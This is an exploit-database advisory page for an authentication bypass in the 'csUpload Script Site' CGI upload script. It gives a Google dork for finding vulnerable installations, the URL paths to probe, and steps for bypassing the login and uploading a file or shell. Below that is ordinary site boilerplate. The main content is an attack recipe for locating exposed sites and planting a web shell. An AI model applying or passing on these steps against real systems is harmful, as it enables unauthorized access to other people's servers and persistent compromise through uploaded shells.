csUpload Script Site Authentication Bypass

2014.04.10
Credit: Satanic2000
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A
Dork: CSUpload.cgi?command=

# Exploit Title: ["csUpload Script Site" Authentication Bypass] # Google Dork: [CSUpload.cgi?command=] # Date: 4/9/2014 # Exploit Author: Satanic2000 # Vendor Homepage: http://www.cgiscript.net # Software Link: http://www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=12 # Version: # Tested on: linux # www.Site.com/[path]/CSUpload/CSUpload.cgi # [path] : /cgi-script/ or /cgi-bin/ or None # Example: # 1- http://localhost/cgi-bin/CSUpload//CSUpload.cgi?command=login # 2- Bypass Authentication http://localhost/cgi-bin/CSUpload/CSUpload.cgi # 3- Select Database Select Databases And Upload (File,Or Shell) # Special tnx S3Ri0uS . Pejvak . l3l4ck.$c0rpi0n And Other Friend

References:

http://www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=12


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top